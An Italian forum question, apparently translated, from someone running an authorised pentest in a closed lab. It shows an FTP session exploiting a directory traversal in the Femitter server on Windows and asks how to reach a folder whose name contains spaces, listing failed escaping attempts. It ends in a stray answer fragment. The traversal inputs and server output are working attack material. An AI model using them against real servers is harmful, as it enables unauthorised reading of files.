Sto conducendo un pentest sanzionato in un ambiente di riferimento chiuso e ho lottato su un problema apparentemente semplice, che attualmente non riesco a risolvere.
Quando si tenta di eseguire un attacco di attraversamento di directory contro un server FTP Fermitter vulnerabile in esecuzione su un sistema operativo MS Windows, è possibile eseguire un ELENCO sulla radice del sistema (indirizzi e elenchi di contenuti modificati qui solo come riferimento):
# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root):
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx 1 ftp ftp 0 Sep 23 2015 AUTOEXEC.BAT
-rw-rw-rw- 1 ftp ftp 0 Sep 23 2015 CONFIG.SYS
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 Documents and Settings
dr--r--r-- 1 ftp ftp 0 Sep 23 2015 Program Files
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 WINDOWS
226 File sent ok
Tuttavia, se voglio elencare il contenuto di una cartella contenente spazi bianchi come Documents and settings
, non sono in grado di elencare il contenuto della directory a causa degli spazi bianchi che vengono ignorati.
ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
Ho già provato a utilizzare diversi client FTP (CLI e GUI, su Linux e Windows) e entrambi ignorano gli spazi bianchi o impediscono l'attraversamento delle directory.
Ho anche provato a scriptare l'attacco su Python usando prima socket grezzi e poi ftplib per inviare i comandi in formato HEX direttamente al server FTP, ma senza successo.
Googling per un paio d'ore non ha prodotto una soluzione funzionante (sì, c'erano molte opzioni, che non funzionavano), ecco perché c'è qualcuno qui, che ha avuto lo stesso problema. Abbastanza sicuro, questa non è la prima volta che è necessario un tale attraversamento di directory con spazi bianchi.
\
o citando la stringa di directory